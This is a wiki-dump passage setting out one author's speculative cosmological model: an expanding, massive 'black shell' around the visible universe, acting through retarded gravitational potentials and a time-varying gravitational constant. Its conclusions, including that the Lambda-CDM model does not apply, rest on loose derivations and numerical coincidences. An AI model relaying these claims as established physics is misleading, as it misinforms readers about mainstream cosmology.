&lt;math&gt;s&lt;/math&gt; = distance between mass &lt;math&gt;m&lt;/math&gt; and mass element &lt;math&gt;\mathrm {dM}&lt;/math&gt;&lt;br/&gt;
&lt;math&gt;e&lt;/math&gt; = auxiliary sagitta&lt;br/&gt;
&lt;math&gt;\beta&lt;/math&gt; = angle as seen from &lt;math&gt;m&lt;/math&gt;]]

If the distance &lt;math&gt;d&lt;/math&gt; between the mass &lt;math&gt;m&lt;/math&gt; and the outer shell is given, we can compute the distances of the mass &lt;math&gt;m&lt;/math&gt; to any infinitesimal mass element &lt;math&gt;\mathrm {dM}&lt;/math&gt; on the arc depending on the angle &lt;math&gt;\alpha&lt;/math&gt;:

:&lt;math&gt;\alpha = \arcsin \frac {h} {R}&lt;/math&gt;

:&lt;math&gt;s(\alpha) = \sqrt {2R^2 - 2 \, R \, d + d^2 - 2 \, R \, (R - d) \, cos \, \alpha} \, \ge \, d&lt;/math&gt;

The angle &lt;math&gt;\beta&lt;/math&gt; as seen from the moving mass m to the infinitesimal mass element &lt;math&gt; \mathrm {dM}&lt;/math&gt; on the arc can be derived by applying the law of sines and is given by the following expression:

:&lt;math&gt;\beta = \arcsin \left( \frac {R} {s} \sin \, \alpha \right) = \arcsin \frac {h} {s}&lt;/math&gt;

With the auxiliary sagitta &lt;math&gt;e&lt;/math&gt; we get:

:&lt;math&gt;e = R \, \left( 1 - \cos \alpha \right)&lt;/math&gt;

:&lt;math&gt;\cos \beta = \frac {d - e} {s}&lt;/math&gt;

The vertical components of the gravitational forces are symetrical, and therefore, their net effect is zero. The net horizontal force of this arc &lt;math&gt;F_{hor}&lt;/math&gt; that is accelerating the mass &lt;math&gt;m&lt;/math&gt; in horizontal direction can be achieved by integrating a semi-circle with the correction factor &lt;math&gt;\cos \beta&lt;/math&gt;:

:&lt;math&gt;F_{hor} = G \, m \int_{-\frac {\pi} {2}}^{+\frac {\pi} {2}} \frac {\cos \beta} {s^2} \, \mathrm {dM} = G \, m \, R \, \lambda_M \, \int_{-\frac {\pi} {2}}^{+\frac {\pi} {2}} \frac {\cos \beta} {s^2} \, \mathrm {d\alpha}&lt;/math&gt;

With the effective gravitational force &lt;math&gt;F_{hor}&lt;/math&gt; that acts on the mass &lt;math&gt;m&lt;/math&gt; by the gravitational force of the virtual effective mass &lt;math&gt;M_{eff}&lt;/math&gt; that is located in the intersection point of the trajectory of the mass &lt;math&gt;m&lt;/math&gt; with the outer shell, we have to consider the varying distances &lt;math&gt;s&lt;/math&gt; between &lt;math&gt;m&lt;/math&gt; and the infinitesimal mass elements &lt;math&gt;\mathrm {dM}&lt;/math&gt; along the arc:

:&lt;math&gt;F_{hor} = G \, m \frac {M_{eff}} {d^2} = G \, m \, R \, \lambda_M \, \int_{-\frac {\pi} {2}}^{+\frac {\pi} {2}} \frac {\cos \beta} {s^2} \, \mathrm {d\alpha}&lt;/math&gt;

We finally get the effective mass &lt;math&gt;M_{eff}&lt;/math&gt; that is acting via gravitational forces on the mass &lt;math&gt;m&lt;/math&gt; in the distance &lt;math&gt;d&lt;/math&gt;:

:&lt;math&gt;M_{eff} = R \, \lambda_M \, d^2 \int_{-\frac {\pi} {2}}^{+\frac {\pi} {2}} \frac {\cos \beta} {s^2} \, \mathrm {d\alpha} = \frac {M_S \, d^2} {2 \pi} \int_{-\frac {\pi} {2}}^{+\frac {\pi} {2}} \frac {\cos \beta} {s^2} \, \mathrm {d\alpha}&lt;/math&gt;
&lt;div style=&quot;clear:both&quot;&gt;&lt;/div&gt;

=== Schwarzschild distance ===
The '''Schwarzschild distance''' &lt;math&gt;d_S&lt;/math&gt; of this effective mass &lt;math&gt;M_{eff}&lt;/math&gt; is equal to the Schwarzschild radius of a sphere with the effective mass:

:&lt;math&gt;d_S = \frac {2 \, G \, M_{eff}} {c^2}&lt;/math&gt;

The gravitational redshift &lt;math&gt;z&lt;/math&gt; of photons emitted to the centre of the universe that is caused by the effective mass in the distance &lt;math&gt;d&lt;/math&gt; of the outer shell is:

:&lt;math&gt;z = \frac {1} {\sqrt {1 - \frac {2 \, G \, M_{eff}} {d \, c^2}}} - 1 = \frac {1} {\sqrt {1 - \frac {d_S} {d}}} - 1&lt;/math&gt;

The equations above can be solved for the Schwarzschild distance &lt;math&gt;d_S&lt;/math&gt; of every shell with the mass &lt;math&gt;M_S&lt;/math&gt;. With the following condition we can get the solutions with &lt;math&gt;d_S = d&lt;/math&gt;, where &lt;math&gt;z (d_S) = \infty&lt;/math&gt;:

:&lt;math&gt;2 \, G \, M_{eff} (M_S, d_S) = d_S \, c^2&lt;/math&gt;

Therefore &lt;math&gt;d_S&lt;/math&gt; can be determined for a given &lt;math&gt;\lambda_M&lt;/math&gt;:

:&lt;math&gt;d_S (\lambda_M) = \frac {2 \, G} {c^2} M_{eff} (M_S, d_S) = \frac {2 \, G \, R \, \lambda_M \, d_S^2} {c^2} \int_{-\frac {\pi} {2}}^{+\frac {\pi} {2}} \frac {d_S - R \, (1 - \cos \alpha)} {{\left( 2R^2 - 2 \, R \, d_S + d_S^2 - 2 \, R \, (R - d_S) \, \cos \, \alpha \right)}^{\frac {3} {2}}} \, \mathrm {d\alpha}&lt;/math&gt;

The Schwarzschild distance &lt;math&gt;d_S&lt;/math&gt; can be interpreted as the distance between the surface of the Hubble sphere with the Hubble radius &lt;math&gt;R&lt;/math&gt; and the inner Schwarzschild sphere of the black shell, which is the visible limit of the universe. This limit is referred to as '''Schwarzschild limit'''. The Hubble radius &lt;math&gt;R&lt;/math&gt; would be the distance between an observer in the centre of the universe and all objects that are receding from him at the speed of light. It can be expressed by the Hubble time &lt;math&gt;t_H&lt;/math&gt;:

:&lt;math&gt;R = t_H \cdot c = 454 \cdot 10^{15} \, \text{s} \cdot {c} = 14.4 \cdot 10^{9} \, \text{a} \cdot {c} = 14.4 \cdot 10^{9} \, \text{ly} = 1.36 \cdot 10^{26} \, \text{m}&lt;/math&gt;

&lt;gallery caption=&quot;Redshift z as a function of the distance&quot; perrow=2 widths=480 heights=480&gt;
Redshift.versus.distances.circles.png|Circles with a given redshift z within the Hubble circle (dashed line) with the Hubble radius according to the Lambda-CDM model.
Redshift.versus.distances.png|Redshift as a function of the distance of the objects from the centre of the universe according to the Lambda-CDM model (blue) and according to the model of the Schwarzschild limit (orange). According to the latter model, astronomical objects with a certain redshift are significantly further away than according to the Lambda-CDM model. At the speed of light, a distance of 10&lt;sup&gt;25&lt;/sup&gt;&amp;nbsp;metres corrensponds to a time span of about one billion years.
&lt;/gallery&gt;
&lt;div style=&quot;clear:both&quot;&gt;&lt;/div&gt;

=== Results ===
It is assumed that the outer shell is expanding, spherical and consists of dark matter. The effective mass of the outer shell is computed only considering the geometrical region in front of the object. This assumption is based on the fact that the retarded gravitational potentials from the opposite border of the black shell can be neglected. The following diagrams show the solution in two different representations over the relation of the mass of the invisible universe surrounding the visible universe in a spherical shell in units of the mass of the visible universe &lt;math&gt;q_M&lt;/math&gt;:

* The Schwarzschild distance &lt;math&gt;d_S&lt;/math&gt; between the visible border of the universe and the invisible outer shell of the universe.
* The radius of the visible universe &lt;math&gt;R_v = R - d_S&lt;/math&gt;. 
* Mass of the universe: &lt;math&gt;M_{universe} = 2.97 \cdot 10^{53} \text {kg}&lt;/math&gt;:

The overall mass of the invisible black shell &lt;math&gt;M_S&lt;/math&gt; can be expressed in relation to the mass of the visible universe &lt;math&gt;M_{universe}&lt;/math&gt;:

:&lt;math&gt;q_M = \frac {M_S} {M_{universe}}&lt;/math&gt;

[[Moving objects in retarded gravitational potentials of an expanding spherical shell/Table with computed results|→ See appendix: table with results for different values of &lt;math&gt;\lambda_M&lt;/math&gt;]] numerically computed by a [[Moving objects in retarded gravitational potentials of an expanding spherical shell/Java program|Java program]].

In this model the mass &lt;math&gt;M_S&lt;/math&gt; of the invisible outer black shell continuously increases by absorbing mass from the visible universe, due to the net forces of the retarded gravitational potentials and the corresponding acceleration in direction of the black shell. More and more matter is moving from the visible universe behind the event horizon, where it becomes invisible and unaccessible, but leaves its gravitational action to the visible part of the universe. Furthermore, the mass of the black shell is in the same magnitude as the mass of the visible universe even in the earlier cosmical ages.

&lt;gallery caption=&quot;Diagrams for the early evolvement of the universe considering the effects of the retarded gravitational potentials of an invisible outer shell&quot; perrow=2 widths=480 heights=480&gt;
Gravitaional.redshift.Black.shell.Schwarzschild.distance.png|Scheme with the outer black shell of the invisible universe with dark matter (right), the shell of the origin of the cosmic microwave background (CMB, dark red) as well as a far galaxy (light red). The matter in the vicinity of the black shell is accelerated towards the shell due to the effect of retarded gravitational forces and may disappear into it by crossing the event horizon at the Schwarzschild distance. During the era of transforming dark matter into &quot;dark energy&quot; the Schwarzschild distance was fastly increasing.
Black.shell.over.time.png|Evolvement of the effective mass of the black shell of the universe with the decreasing radii of the visible universe and the increasing Schwarzschild distances as well as the rapidly increasing (effective) masses of the black shell.
MinimumDistance.Redshift.Mass.png|Schwarzschild distance &lt;math&gt;d_S&lt;/math&gt; between the visible border of the universe and the invisible outer sphere of the universe as a function of the mass of the black shell in units of the mass of the visible universe. The Schwarzschild distance was grewing much faster than the mass of the black shell around &lt;math&gt;M_S \approx 0.96865 \cdot M_{universe}&lt;/math&gt;.
R v.versus.shell.mass.png|Radius of the visible universe &lt;math&gt;R_v = R - d_S&lt;/math&gt; as a function of the mass of the invisible universe surrounding it in a spherical black shell in units of the mass of the visible universe. The size of the visible universe began to shrink very suddenly at the time around &lt;math&gt;M_S \approx 0.96865 \cdot M_{universe}&lt;/math&gt;.
&lt;/gallery&gt;

It is very noteworthy to recapitulate that the age of the cosmic microwave background with its afterglow light pattern is about 380,000&amp;nbsp;years (the corresponding Schwarzschild distance belongs to a shell mass &lt;math&gt;M_S = 2.8769 \cdot 10^{53} \, \text {kg} = 0.96865 \cdot M_{universe}&lt;/math&gt;, Schwarzschild distance &lt;math&gt;d_S = 377 \cdot 10^{3} \, \text {ly} = 3.56 \cdot 10^{21} \, \text {m}= 2.62 \cdot 10^{-5} \cdot R&lt;/math&gt;), exactly where the radius of the visible universe had significantly begun to decrease in relation to the Hubble radius (see right diagram). The so-called &quot;dark ages&quot; begun, and they lasted for several hundreds of million years.

The age of the oldest known galaxy JADES-GS-z14-0 represents the youngest stars that emit light, and therefore, the end of the dark ages. Its age is about 290&amp;nbsp;million years (the corresponding Schwarzschild distance belongs to a shell mass &lt;math&gt;M_S = 2.92 \cdot 10^{53} \, \text {kg} = 0,984 \cdot M_{universe}&lt;/math&gt;, Schwarzschild distance &lt;math&gt;d_S = 293 \cdot 10^{6} \, \text {ly} = 2.78 \cdot 10^{24} \, \text {m}= 0.020 \cdot R&lt;/math&gt;), where the conversion from dark matter to &quot;dark energy&quot; during the so-called &quot;dark ages&quot; was finished.

At the break-even point, where the masses of the visible universe and the black shell have the same value, the Schwarzschild distance is about 860&amp;nbsp;million light-years (it belongs to a shell mass &lt;math&gt;M_S = 2.97 \cdot 10^{53} \, \text {kg} = M_{universe}&lt;/math&gt;).

=== Schwarzschild radius of the universe ===
[[File:Cosmical.Radii.png|thumb|upright=2|right|Schwarzschild and other cosmical radii. µ Cephei (Garnet Star) is a red supergiant star and A0620-00 is a black hole within the Milky Way. Sagittarius A* is the supermassive black hole at the Galactic Center of the Milky Way. This Virgo Supercluster is a supercluster of galaxies containing the Virgo Cluster and the Local Group which includes the Milky Way.]]
[[File:Diagram.universe.png|thumb|upright=2|right|Simplified diagram of the radius &lt;math&gt;r&lt;/math&gt; of the universe over time from origin at &lt;math&gt;t = 0&lt;/math&gt; to time of universe &lt;math&gt;t_U&lt;/math&gt;. The particle horizon is constantly expanding with the speed of light &lt;math&gt;c&lt;/math&gt;:&lt;br/&gt;&lt;br/&gt;
Radius of end of inflationary period (Schwarzschild radius of universe):&lt;br/&gt;&lt;math&gt;r_{S,universe} = t_U \cdot c = \frac {2 \, G \, M_{universe}} {c^2} \approx 14283 \text { Mpc} \approx 46,6 \cdot 10^9 \text { ly}&lt;/math&gt;&lt;br/&gt;&lt;br/&gt;
Co-moving radius of the cosmic microwave background (CMB):&lt;br/&gt;&lt;math&gt;r_{CMB} \approx 14000 \text { Mpc} \approx 45,7 \cdot 10^9 \text { ly}&lt;/math&gt;&lt;br/&gt;&lt;br/&gt;
Hubble radius at Hubble time &lt;math&gt;t_H&lt;/math&gt;:&lt;br/&gt;&lt;math&gt;r_H = t_H \cdot c \approx 4480 \text { Mpc} \approx 14,6 \cdot 10^9 \text { ly}&lt;/math&gt;&lt;br/&gt;&lt;br/&gt;
Radius of visible universe as seen from observer:&lt;br/&gt;&lt;math&gt;r_V \approx 4230 \text { Mpc} \approx 13,8 \cdot 10^9 \text { ly}&lt;/math&gt;&lt;br/&gt;&lt;br/&gt;
Time of the observer: &lt;math&gt;t_{observer} = 2 \cdot t_H&lt;/math&gt;&lt;br/&gt;
Time of the visible event horizon: &lt;math&gt;t_v = 2 \cdot t_H - \frac {r_V} {c} &gt; t_H&lt;/math&gt;]]

It is possible that we are living within a huge black hole with an extrely low mass density.&lt;ref&gt;{{Cite web |last=Mcbryan |first=Bernard |date=2013-12-01 |title=Living in a Low Density Black Hole, Non-Expanding Universe -- Perhaps a Reflecting Universe |url=https://www.researchgate.net/publication/368273520_Our_Universe_as_a_Black_Hole_in_a_Larger_Space |url-status=live}}&lt;/ref&gt;&lt;ref&gt;{{Cite web |url=https://ui.adsabs.harvard.edu/abs/2015JCos...2513063T/abstract |access-date=2026-06-15 |website=ui.adsabs.harvard.edu |last=Tatum |first=Eugene Terry |date=2015-06-01 |title=Could Our Universe have Features of a Giant Black Hole?}}&lt;/ref&gt;&lt;ref&gt;{{Cite web |url=https://osf.io/preprints/osf/wbna2_v1 |first1=Aude |last1=Corbeel |first2=Pierre |last2=Magain |title=Our Universe as a Black Hole in a Larger Space |date=2023-01-01 |access-date=2026-06-15 |website=osf.io}}&lt;/ref&gt;&lt;ref&gt;{{Cite web |date=2025-04-14 |last=Christillin |first=Paolo |title=The Cosmological Constant (s) vs. the Evolution of Our Black Hole Universe |url=https://www.ijap.latticescipub.com/portfolio-item/a106005010425/ |access-date=2026-06-15 |language=en-US}}&lt;/ref&gt;

The Schwarzschild radius of the visible universe &lt;math&gt;r_{S,universe}&lt;/math&gt; can be computed by its mass:

:&lt;math&gt;r_{S,universe} = \frac {2 \, G \, M_{universe}} {c^2} \approx 4.4 \cdot 10^{26} \text { m} \approx 46.6 \cdot 10^{9} \text { ly}&lt;/math&gt;

This value fits rather well with the radius of the invisible particle horizon at the end of inflationary period of the universe today. The question is whether this coincidence is the case by accident or due to varying values of the mass of the universe or the gravitational constant &lt;math&gt;G&lt;/math&gt;. Of course it is disputable, whether the mass of the universe and the gravitational constant are constant on large time scales. However, the British mathematician and astrophysicist '''Edward Arthur Milne''' (1896–1950) published already in 1935 in his book on &quot;Relativity, Gravitation and World-Structure&quot; the possibility that the gravitational constant could be proportional to the time since the creation of the universe &lt;math&gt;t&lt;/math&gt; and reciprocal to the mass of the visible universe &lt;math&gt;M_{universe,visible}&lt;/math&gt;.&lt;ref&gt;{{Cite book |last=Milne |first=Edward Arthur |title=Relativity, gravitation and world-structure |publisher=Clarendon Press |year=1935 |location=Oxford, Great Britain |pages=291-294 |language=en |chapter=World picture on the simple kinematic model - Comparison with local Newtonian gravitation and dynamics - §§412-418}}&lt;/ref&gt;

:&lt;math&gt;G(t) = \frac {c^3} {M_{universe,visible}} \, t&lt;/math&gt;

According to Edward Arthur Milne the cosmological constant &lt;math&gt;\Lambda&lt;/math&gt; is in this model:

:&lt;math&gt;\Lambda(t) = \frac {3} {c^2 \, t^2}&lt;/math&gt;

Today this value is approximately &lt;math&gt;\Lambda = 1.7 \cdot 10^{-53} \text { m}^{-2}&lt;/math&gt;, which is about 6.6 times smaller than the current value of the standard model of cosmology known as the ΛCDM model (CDM = cold dark matter).

The time-dependent relation for the gravitational constant would mean that the gravitational constant is grewing with the following rate, if the mass of the universe keeps constant:

:&lt;math&gt;\frac {\mathrm {d} G} {\mathrm {d} t} = \frac {c^3} {M_{universe,visible}} \approx 9.1 \cdot 10^{-29} \frac {\text {m}^3} {\text {kg s}^3} &gt; 0&lt;/math&gt;

As a result the gravitational constant would change in the following magnitudes, which are much smaller than the uncertainty of the measurements of the gravitational constant of around &lt;math&gt;2.2 \cdot 10^{-5}&lt;/math&gt;:

:&lt;math&gt;\frac {\frac {\mathrm {d} G} {\mathrm {d} t}} {G} \approx 1.36 \cdot 10^{-18} \frac {1} {\text {s}} \approx 4.3 \cdot 10^{-11} \frac {1} {\text {a}}&lt;/math&gt;

Only after half a million of years the corresponding change would be in the magnitude of the uncertainty.

If we substitute the expression of Milne for the gravitational constant in the formula for the Schwarzschild radius of the universe, we get:

:&lt;math&gt;r_{S,universe}(t) = \frac {2 \, c^3 \, M_{universe}} {c^2 \, M_{universe,visible}} \, t&lt;/math&gt;

Assuming that the whole universe is visible, and therefore, &lt;math&gt;M_{universe} = M_{universe,visible}&lt;/math&gt;, this value would be two times larger than the value of the Schwarzschild radius computed by the mass of the universe:

:&lt;math&gt;r_{S,universe}(t) = 2 \, c \, t&lt;/math&gt;

It is noteworthy to mention that according to the results the following estimates apply for Schwarzschild distances of around 858&amp;nbsp;million light-years, where the ratio of the mass of black shell to the mass of visible universe was equal to one:

:&lt;math&gt;M_{universe,visible} \approx M_{universe,invisible} = M_{S}&lt;/math&gt;

This Schwarzschild distance is similar to the differences of the particle horizon and the plane of the cosmic microwave background (CMB) that is determined by the ΛCDM model that is preferred by most cosmologists today:

:&lt;math&gt;r_{S,universe} - r_{CMB} \approx 0.9 \cdot 10^9 \text { ly}&lt;/math&gt;

:&lt;math&gt;r_H - r_V \approx 0.8 \cdot 10^9 \text { ly}&lt;/math&gt;

Therefore:

:&lt;math&gt;M_{universe,total} = M_{universe,visible} + M_{universe,invisible} \approx 2 \, M_{universe,visible} \approx 2 \, M_{S}&lt;/math&gt;

This assumption is supported by the fact that the mass of ordinary matter within radius of the visible universe &lt;math&gt;r_{visible,universe}&lt;/math&gt; has the following value that can be computed by its density &lt;math&gt;\rho_{ordinary \, matter}&lt;/math&gt; and the corresponding volume &lt;math&gt;V_{visible,universe}&lt;/math&gt; yielded by the Planck Survey of 2013:&lt;ref&gt;{{Cite journal |last=Tatum |first=Eugene Terry |date=2015-06-01 |title=Could Our Universe have Features of a Giant Black Hole? |url=https://ui.adsabs.harvard.edu/abs/2015JCos...2513063T |journal=Journal of Cosmology |volume=25 |pages=13063–13072}}&lt;/ref&gt;

:&lt;math&gt;\rho_{ordinary \, matter} = 4.08 \cdot 10^{-28} \frac {\text {kg}} {\text {m}^3}&lt;/math&gt;

:&lt;math&gt;r_{visible,universe} = 4.3 \cdot 10^{26} \text { m}&lt;/math&gt;

:&lt;math&gt;V_{visible,universe} = \frac {4} {3} \, \pi \, r_{visible,universe}^3 = 3.3 \cdot 10^{80} \text { m}^3&lt;/math&gt;

:&lt;math&gt;M_{ordinary \, matter} = \rho_{ordinary \, matter} \cdot V_{visible,universe} = 1.4 \cdot 10^{53} \text { kg} \approx \frac {1} {2} \, M_{universe} = \frac {1} {2} \, 2.97 \cdot 10^{53} \text { kg} \approx 1.5 \cdot 10^{53} \text { kg}&lt;/math&gt;

However, if the gravitational constant would be given by the following relation using the total mass of the universe &lt;math&gt;M_{universe,total}&lt;/math&gt; including the black shell, the values would match much better:

:&lt;math&gt;G(t) = \frac {c^3} {M_{universe,total}} \, t \approx \frac {c^3} {2 \, M_{universe,visible}} \, t&lt;/math&gt;

:&lt;math&gt;r_{S,universe}(t) \approx \frac {2 \, c^3 \, M_{universe,visible}} {2 \, c^2 \, M_{universe,visible}} \, t = c \, t&lt;/math&gt;

This value is identical to the radius of the particle horizon of our universe. In this case the change of the gravitational constant would be in the magnitude of its uncertainty only after a million years. The total mass of the universe would not change or influence the gravitational constant even if any mass flow from the visible part of the universe to the invisible outer black shell would decrease the mass of the visible part of the universe. Incidentally, the mass of the outer shell would not change if the matter after flowing from the visible sphere into the outer shell, were to annihilate with any antimatter in the outer shell, since the resulting energy corresponds to the mass according to the law of mass-energy equivalence:

:&lt;math&gt;E = m \cdot c^2&lt;/math&gt;

Due to the strong gravitational effect of the outer black shell, any electromagnetic radiation originating from the outer black shell is invisible to any observer within the visible universe. Furthermore, due to the strong gravitational effect of the whole universe, the electromagnetic radiation from the visible universe or the outer black shell could not be perceived by any observer in the hypothetical space outside the outer black shell, since the whole universe is a hyper-large black hole. Therefore, the outer black shell of the universe would be impermeable in both directions.
&lt;div style=&quot;clear:both&quot;&gt;&lt;/div&gt;

=== References ===
&lt;references&gt;&lt;/references&gt;</text>
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    <title>Moving objects in retarded gravitational potentials of an expanding spherical shell/Conclusion</title>
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      <text bytes="14555" sha1="j15t73sbtcntezrwwqgf2b4l3d3i8vb" xml:space="preserve">&lt;noinclude&gt;
{{Chapter navigation|Cosmology of retarded interaction|Table with computed results}}
&lt;/noinclude&gt;

==Conclusion==
The considerations described above show that '''retarded gravitational potentials''' can contribute to the explanation of the '''accelerated expansion''' of the visible part of the universe, if the outer spherical '''black shell''' of the universe would consist of expanding matter with a huge mass. This would also hold in a steady state universe and even if the black shell would not move at all. In the latter case any moving masses within the black shell would reach the black shell in finite time.

It can also be considered that the effect of the retarded gravitational potentials will accelerate moving objects the more, the faster they move and the closer they are to the black shell. Furthermore, also objects within smaller spherical shells that not only are surrounded by the black shell, but also by other visible objects, will experience the retarded gravitational potentials of these objects, and therefore, they will experience an additional acceleration which is directed outwards. This all leads to an inhomogeneous evolution of the mass density in particular during the early development stages of an inflating universe:

&lt;gallery caption=&quot;Evolvement of the mass density in an expanding spherical universe with constant mass&quot; perrow=2 widths=600 heights=300&gt;
Evolvement.universe.instant.gravitation.png|Evolvement of the universe with '''instant gravitational potentials''' in a homogeneous sphere.
Evolvement.universe.retarded.gravitation.png|Evolvement of the universe with '''retarded gravitational potentials''' in an isotropic sphere. Due to the acceleration of matter in the direction of the outer rim of the universe, a shell is growing with a thickness corresponding to its Schwarzschild distance (bluish). This matter within this shell cannot emit any electromagnetic radiation or send any information back to the centre of the universe, since the strong gravitational forces keep the radiation and all masses within the shell.
&lt;/gallery&gt;

&lt;big&gt;'''As a result, the universe has become increasingly inhomogeneous, the cosmological principle no longer applies, the conditions for the Friedmann-Lemaître equations are not met, and the Lambda-CDM model is not applicable.'''&lt;/big&gt;

[[File:Kosmologisches.Modell.Schwarze.Schale.Rotverschiebung.png|thumb|upright=3|centre|A cosmological model of our isotropic and inhomogeneous universe at the centre, enveloped by an opaque and massive black shell. Viewed from the outer region, our universe is a gigantic black hole. No exchange of information is possible between the inner and outer regions of the black shell. Any matter entering the black shell from the inside or the outside is no longer visible. Therefore, the inner as well as the outer border of the black shell are event horizons.]]

Computing the corresponding and permanently increasing '''Schwarzschild distances''' of the black shell of the universe gives three remarkable points:

# Today we can observe the cosmic microwave background at a cosmic age of 380,000 years, where the Schwarzschild distance was increasing much faster than the mass of the black shell.
# The very distant primordial galaxy JADES-GS-z14-0 has a cosmic age of 290&amp;nbsp;million years, where the increase of the Schwarzschild distance and the increase of the mass of the black shell became much smaller.
# The Schwarzschild distance for the equality of the masses of the visible universe and the black shell is 860&amp;nbsp;million light-years. This value is rather close to the distances that are computed by the standard ΛCDM model between the particle horizon that expands with speed of light and the visible horizon that can be observed as the cosmic microwave background.

Cosmologists call the period in between the creation of the cosmic microwave background and the first stars as the dark ages, where dark matter is supposed to be transformed into dark energy. So far, the nature of '''dark matter''', '''dark energy''', '''dark fluid''' or '''negative mass''' is completely unclear, but the increase of the mass of an invisible black shell behind the visible universe could help to find physical explanations for all these concepts and ideas.

According to the definition of dark matter, there is no interaction between this matter and light. The baryonic matter in the black shell causes gravity and also interacts with photons. However, it cannot be observed from the inner region of the universe, which could be misinterpreted as a lack of interaction.

The high velocity of visible objects in the vincity of the black shell as well as the huge mass of the matter in front of them seem to be the reasons for the extreme redshift of their light that can be observed by us. The observation that this redshift is greater than expected for distant objects led to the assumption that the further away these objects are, the more they are accelerated. Another reason for this could be found in the effects of the retarded gravitational potentials of a massive black shell. Furthermore, the additional '''gravitational redshift''' leads to a higher value than expected only by the relativistic Doppler effect. This is in accordance with the observations of very far and young galaxies such as JADES-GS-z14-0 or of the cosmic microwave background (CMB).

The agglomeration of mass in the outer areas of our universe not only leads to a shell with increased mass density, but the high mass density could also be the seed for '''primordial black holes''', which could be a reason for the formation of very early galaxies observed by the James Webb Space Telescope (JWST).&lt;ref&gt;{{Cite web |author=Niranjana Rajalakshmi |title=James Webb Space Telescope reveals unexpected complex chemistry in primordial galaxy |editor=University of Arizona News |url=https://news.arizona.edu/news/james-webb-space-telescope-reveals-unexpected-complex-chemistry-primordial-galaxy |date=2025-03-01 |access-date=2025-06-15 |website=news.arizona.edu |language=en}}&lt;/ref&gt; Furthermore, the earliest stars in this region may have already produced heavyier chemical elements, which is not possible according to the ΛCDM model, but can be observed at primordial supernovae as well as in spectrosopic data of primordial galaxies.&lt;ref&gt;{{Cite web |last=information@eso.org |title=Oxygen discovered in most distant known galaxy |url=https://www.eso.org/public/news/eso2507/ |access-date=2025-11-20 |website=www.eso.org |language=en}}&lt;/ref&gt;

===Cosmic Voids===
It appears that the gravitational potential of the '''Shapley Supercluster''' is not strong enough to attract our '''Local Group''' at the observed rate. It is hypothesised that a supergiant void –&amp;nbsp;the so-called '''Dipole Repeller'''&amp;nbsp;– on the opposite side of the Local Group causes a gravitational repulsion that imparts additional acceleration to all masses between the Shapley Attractor and the Dipole Repeller.&lt;ref&gt;{{Cite journal |last=Hoffman |first=Yehuda |last2=Pomarède |first2=Daniel |last3=Tully |first3=R. Brent |last4=Courtois |first4=Hélène M. |date=2017-01-30 |title=The dipole repeller |url=https://www.nature.com/articles/s41550-016-0036 |journal=Nature Astronomy |language=en |volume=1 |issue=2 |pages=1–5 |doi=10.1038/s41550-016-0036 |issn=2397-3366}}&lt;/ref&gt; However, we know of no negative masses that could cause such a repulsion. Moreover, the situation resembles an outer black shell of the universe which gives all moving masses an acceleration that is always directed towards the outer regions. Therefore, for our local group, it would be more obvious to assume a superposition of the gravitational forces of the black shell with the gravitational forces of the supergiant Shapley Attractor than the gravitational forces of a virtual gravitational dipole between the Shapley Attractor and a void.

The effect of the retarded gravitational potentials could be seen as a &quot;pump of the void&quot;, as the inner volume of a large expanding shell becomes thinner and thinner over time. This could be interpreted as a virtual pressure in the voids that is pumping all mass particles towards the outer regions. This effect has also been observed in the largest known structures in the universe, the '''galaxy filaments'''. These huge and massive structures form boundaries between '''cosmic voids'''.&lt;ref&gt;{{Cite web |last=Myers |first=James |date=2024-03-30 |title=Evolution of the Universe: Why Measuring Voids of Nothing Tells Us Something |url=https://thequantumrecord.com/science-news/evolution-of-the-universe-measuring-voids-of-nothing/ |access-date=2025-02-05 |website=The Quantum Record |language=en-CA}}&lt;/ref&gt; Indeed retarded gravitational potentials can also help to explain the behaviour and the growth of these voids.

===Galaxies===
Even in much smaller structures, the galaxies themselves, retarded gravitational potentials can be applied for successfully explain the anomalies in their '''rotation curves'''. The Spitzer Space Telescope recorded a large amount of observation data which was compiled in the project “SPARC (Spitzer Photometry and Accurate Rotation Curves) Galaxy collection”. If retarded gravitational potentials are applied to these data and the  time-varying distribution of baryonic matter in and around these galaxies is taken into account, neither the assumption of dark matter nor a modification of the general theory of relativity is necessary to explain the observations within their uncertainties.
&lt;ref&gt;{{Cite journal |last1=Yahalom |first1=Asher |title=The Effect of Retardation on Galactic Rotation Curves |journal=Journal of Physics: Conference Series |volume=1239 |issue=1 |date=2019-05-01 |ISSN=1742-6588 |DOI=10.1088/1742-6596/1239/1/012006 |url=https://iopscience.iop.org/article/10.1088/1742-6596/1239/1/012006 |access-date=2025-06-07}}&lt;/ref&gt;
&lt;ref&gt;{{Cite journal |last1=Yahalom |first1=Asher |title=Tully–Fisher relations and retardation theory for galaxies |journal=International Journal of Modern Physics D |volume=30 |issue=14 |date=2021-09-17 |ISSN=0218-2718 |DOI=10.1142/S0218271821420086 |url=https://www.worldscientific.com/doi/abs/10.1142/S0218271821420086 |access-date=2025-06-07}}&lt;/ref&gt;
&lt;ref&gt;{{Cite journal |last1=Glass |first1=Yuval |last2=Zimmerman |first2=Tomer |last3=Yahalom |first3=Asher |title=Retarded Gravity in Disk Galaxies |url=https://www.preprints.org/manuscript/202402.1088/v1 |journal=Symmetry |language=en |volume=16 |issue=4 |date=2024-03-26 |doi=10.3390/sym16040387 |doi-access=free |bibcode=2024Symm...16..387G |issn=2073-8994 |access-date=2025-02-05}}&lt;/ref&gt;
&lt;ref&gt;{{Cite journal |last1=Wagman |first1=Michal |first2=Lawrence Paul |last2=Horwitz |first3=Asher |last3=Yahalom |title=Retardation theory of eleven galaxies |journal=Physica Scripta |language=en |volume=99 |issue=10 |date=2024-09-01 |issn=1402-4896 |doi=10.1088/1402-4896/ad6c8d |url=https://iopscience.iop.org/article/10.1088/1402-4896/ad6c8d |access-date=2025-06-07}}&lt;/ref&gt;

===Further implications===
Due to Newton's third law ('''actio = reactio''') the black shell experiences the same retarded gravitational forces as the moving masses within the shell. These forces will cause a deceleration of the shell which is the stronger the closer the masses within the visible universe are to it.

